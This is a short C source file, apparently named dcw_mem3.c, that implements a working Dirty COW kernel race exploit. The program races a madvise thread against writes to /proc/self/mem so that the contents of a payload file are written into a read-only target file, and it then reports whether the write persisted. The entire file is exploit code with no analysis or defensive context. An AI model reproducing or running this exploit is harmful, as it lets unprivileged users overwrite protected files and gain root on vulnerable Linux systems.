// dcw_mem3.c - single-page dirtycow: write plen bytes (<=4096) to target start
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdlib.h>
void *map; long plen; char *payload;
void *madviseThread(void *arg){ int i,c=0; for(i=0;i<200000000;i++) c+=madvise(map,100,MADV_DONTNEED); return NULL; }
int main(int argc,char *argv[]){
  if(argc<3) return 1;
  FILE *fp=fopen(argv[2],"rb"); if(!fp){perror("fopen");return 1;}
  fseek(fp,0,SEEK_END); plen=ftell(fp); rewind(fp); payload=malloc(plen);
  if(fread(payload,1,plen,fp)!=(size_t)plen) return 1; fclose(fp);
  printf("payload %ld\n",plen);
  int f=open(argv[1],O_RDONLY); if(f<0){perror("open");return 1;}
  struct stat st; fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ|PROT_WRITE,MAP_PRIVATE,f,0);
  if(map==MAP_FAILED){perror("mmap");return 1;}
  printf("mmap %lx\n",(unsigned long)map);
  pthread_t pth; pthread_create(&pth,NULL,madviseThread,map);
  int fm=open("/proc/self/mem",O_RDWR); if(fm<0){perror("mem");return 1;}
  int ok=0; char *b=malloc(plen);
  int i; for(i=0;i<1000000;i++){
    lseek(fm,(loff_t)map,SEEK_SET);
    write(fm,payload,plen);
    lseek(f,0,SEEK_SET); ssize_t r=read(f,b,plen);
    if(r==plen && memcmp(b,payload,plen)==0){ ok=1; printf("persisted %d\n",i); break; }
  }
  printf("verify %d\n",ok);
  return ok?0:1;
}
